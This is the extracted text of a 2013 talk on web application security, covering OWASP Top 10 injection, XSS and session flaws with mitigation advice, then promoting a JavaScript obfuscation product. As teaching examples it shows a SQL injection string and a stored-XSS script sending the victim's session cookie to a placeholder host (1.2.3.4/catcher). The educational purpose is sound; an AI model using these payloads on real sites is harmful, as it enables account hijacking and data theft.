Protecting the code of Web Applications
Pedro Fortuna
Co-founder and CTO
ISEP, June 19th 2013
2
Agenda
Web Application
Security
JavaScript
Obfuscation
JScrambler
+web
NEXT
Web Application Security
4
Where things went wrong?
GET /index.html
Web
Browser
static text
Web
Server
Content
delivery
system
5
Where things went wrong?
GET /index.html
Web
Browser
static text
Web
Server
Content
delivery
system
Web
Server
Application
delivery
system
GET /form.php?id=2&name=pedro%20fortuna
Web
Browser
dynamically generated response
DB
6
Where things went wrong?
• Users can submit arbitrary data to the server
• This includes all non-obvious sources of data that can be used by
the application (cookies, HTTP headers)
• Data is mixed with all sorts of code (HTML, JavaScript, CSS, SQL)
• Complex to filter, escape and output-encode data
"uma frase aleatória"
HTML escaping
"uma frase aleatória"
<?PHP
$place = 'Peter's Pizza';
print $place;
?>
DB
PHP string escaping
<?PHP
$place = 'Peter\'s Pizza';
print $place;
?>
DB
7
OWASP Top 10
2010 edition
http://www.owasp.org/index.php/Top_10
8
A1 - Injection
Injection means…
•Tricking an application into including unintended commands in the data sent to an
interpreter
Interpreters…
•Take strings and interpret them as commands
•SQL, OS Shell, LDAP, XPath, etc…
SQL injection is still quite common
•Many applications still susceptible
•Even though it’s usually very simple to avoid
Typical Impact
•Usually severe. Entire database can usually be read or modified
•May also allow full database schema, or account access, or even OS level access
9

DB
Table 

"SELECT * FROM
Account Summary
WHERE
SKU:
acct=‘’ OR 1=1Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
-’"
Account:
accounts
Billing
Directories
Web Services
Databases

Human Resrcs

HTTP
SQL
respons
query
e
Legacy Systems
APPLICATION
ATTACK
Communication
Knowledge Mgmt
E-Commerce
Bus. Functions
HTTP
request
Administration
Transactions
Accounts
Finance
Application Layer
SQL Injection - Illustrated
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
1. Application presents a form to
the attacker
Custom Code
2. Attacker sends an attack in the
form data
App Server
3. Application forwards attack to
the database in a SQL query
Firewall
Hardened OS
Firewall
Network Layer
Web Server
4. Database runs query containing
attack and sends encrypted
results back to application
5. Application decrypts data as
normal and sends results to the
user
10
A1 – Avoiding Injection Flaws
•
Recommendations
1. Avoid the interpreter entirely, or
2. Use an interface that supports bind variables (e.g., prepared statements, or stored
procedures),
•
Bind variables allow the interpreter to distinguish between code and data
3. Encode all user input before passing it to the interpreter
– Always perform ‘white list’ input validation on all user supplied input
– Always minimize database privileges to reduce the impact of a flaw
•
References
– For more details, read
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
11
A2 – Cross-Site Scripting (XSS)
Occurs any time…
• Raw data from attacker is sent to an innocent user’s browser
Raw data…
• Stored in database
• Reflected from web input (form field, hidden field, URL, etc…)
• Sent directly into rich JavaScript client
Virtually every web application has this problem
• Try this in your browser – javascript:alert(document.cookie)
Typical Impact
• Steal user’s session, steal sensitive data, rewrite web page, redirect user to
phishing or malware site
• Most Severe: Install XSS proxy which allows attacker to observe and direct all
user’s behavior on vulnerable site and force user to other sites
Cross-Site Scripting (XSS) Illustrated
Attacker sets the trap – update my profile
Victim views page – sees attacker profile
Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions
2
Administration
Transactions
Attacker enters a
malicious script into a
web page that stores the
data on the server
Application with
stored XSS
vulnerability
Accounts
Finance
1
Custom Code
Script runs inside
victim’s browser with
full access to the DOM
and cookies
3
12
Script silently sends attacker Victim’s session cookie
Hello my name is Peter
<script>
XSSImage=new Image;
XSSImage.src="http://1.2.
3.4/catcher?cookie="+docu
ment.cookie);
</script>
13
A2 – Avoiding XSS flaws
•
Recommendations
– Eliminate Flaw
•
Don’t include user supplied input in the output page
– Defend Against the Flaw
•
•
•
•
Primary Recommendation: Output encode all user supplied input (Use OWASP’s ESAPI to
output encode:
http://www.owasp.org/index.php/ESAPI
Perform ‘white list’ input validation on all user input to be included in page
For large chunks of user supplied HTML, use OWASP’s AntiSamy to sanitize this HTML to
make it safe
See: http://www.owasp.org/index.php/AntiSamy
References
– For how to output encode properly, read the new
Site Scripting) Prevention Cheat Sheet
http://www.owasp.org/index.php/XSS_(Cross
14
Safe Escaping Schemes in Various HTML Execution Contexts
#1: ( &, <, >, " )  &entity; ( ', / )  &#xHH;
ESAPI: encodeForHTML()
HTML Element Content
(e.g., <div> some text to display </div> )
#2: All non-alphanumeric < 256  &#xHH
ESAPI: encodeForHTMLAttribute()
HTML Attribute Values
(e.g., <input name='person' type='TEXT'
value='defaultValue'> )
#3: All non-alphanumeric < 256  \xHH
ESAPI: encodeForJavaScript()
JavaScript Data
(e.g., <script> some javascript </script> )
CSS Style Property Values
#4: All non-alphanumeric < 256  \HH
ESAPI: encodeForCSS()
(e.g., .pdiv a:hover {color: red; text-decoration:
underline} )
URI Attribute Values
#5: All non-alphanumeric < 256  %HH
ESAPI: encodeForURL()
(e.g., <a href="javascript:toggle('lesson')" )
Recommendation: Only allow #1 and #2 and disallow all others
See: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for more details
15
A3 – Broken Authentication and Session Management
HTTP is a “stateless” protocol
• Means credentials have to go with every request
• Should use SSL for everything requiring authentication
Session management flaws
• SESSION ID used to track state since HTTP doesn’t
• and it is just as good as credentials to an attacker
• SESSION ID is typically exposed on the network, in browser, in logs, …
Beware the side-doors
• Change my password, remember my password, forgot my password, secret
question, logout, email address, etc…
Typical Impact
• User accounts compromised or user sessions hijacked
www.foo.com?JSESSIONID=9FA1DB9EA...
Site uses URL rewriting
(i.e., put session in URL)
3
2
Hacker uses JSESSIONID and
takes over victim’s account
Custom Code
User clicks on a link to http://www.hacker.com
in a forum
Hacker checks referer logs on www.hacker.com
and finds user’s JSESSIONID
5
Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions
Accounts
Finance
User sends credentials
1
Administration
Transactions
A3 – Broken Authentication Illustrated
4
16
17
A3 –Avoiding Broken Authentication and Session Management
•
Verify your architecture
–
–
–
•
Verify the implementation
–
–
–
–
–
•
Authentication should be simple, centralized, and standardized
Use the standard session id provided by your framework (e.g. PHP Zend)
Be sure SSL protects both credentials and session id at all times
Check your SSL certificate
Examine all the authentication-related functions
Verify that logoff actually destroys the session
Make the session expire
Make the session unmovable (function(IP_ADDRESS))
Follow the guidance from
–
http://www.owasp.org/index.php/Authentication_Cheat_Sheet
NEXT
JScrambler
JS
19
Who we are ?
The Start
Vision/Mission
The Company
Awards
Top Web Security Team
30Y of combined experience
Started in late 2008
Following the vision that software
and data are migrating rapidly to
the web, but security isn’t
evolving at the same pace.
Innovative Web Security Solutions
Vision: we believe that the
strongest approach to Web
Security should be to put the 1st
line of defense on the clientside
Mission: to be a leader in Web
Application Protection
technology
Leaders in JavaScript
Obfuscation since 2010
Being advised by Pereira Ventures
in its International Expansion
Top 100 European Startup
in 2009
In the European Unlimited
Eurecan European Contest
20
What do we do?
Web
Traffic
Auditing
Security
Services
Web
Application
Security
JavaScript Source code protection
Obfuscates JS/HTML5 WebApps
Protects the code from being stolen,
inspected, tampered with
Enterprise Web Application Protection
against Man int the Browser and other
security attacks
21
What is the world’s most popular language ?
22
3+ Years Protecting Apps
2010-04
Beta version
Release History
2010-10
1.0 released
2012-06
MILLION
PROTECTED
106
Clients
5000
+3 YEARS PROTECTING
120
Countries
WEB APPLICATIONS
JS lines of code
2.0 released
2013-04
3.0 released
23
JScrambler Feedback
Customer
NEWS
ROVIO
TECHCRUNCH
“JScrambler does seem to
offer the most complete
solution. Out of the box, it
should work with most of
the standard libraries”
“JScrambler results look
promising”
Customer
RSA SECURITY
"We are trying to push the
envelope and it’s good to
have a nimble partner that
is aggressive at achieving
this”
24
JScrambler
State of the art Web Application Protection and Optimization
JavaScript
Obfuscation
Code Execution Control
JavaScript
JavaScript
HTML5/JavaScript
Domain Lock
Code Simplification
Mobile Web Applications
Expiration Date
Dead Code Removal
Web Games
Anti-debugging
Compression
Optimization
25
JScrambler
Obfuscation: The art of making code unreadable
26
JScrambler
Code Execution Control
Domain Lock
Expiration Date
Anti Debugging
27
NEXT
JavaScript Obfuscation
28
NEXT
Questions
We look forward for you contact and feedback
29
Contact Us
Porto
Headquarters
Lisbon
Office
Pedro Fortuna
CTO
Edifício Central da
UPTEC
Rua Alfredo Allen, 455
4200-135 Porto,
Portugal
Rua da Prata 121 5º A
1100-415 Lisboa
Portugal
pedro.fortuna@auditmark.com
+351 917331552
auditmark.com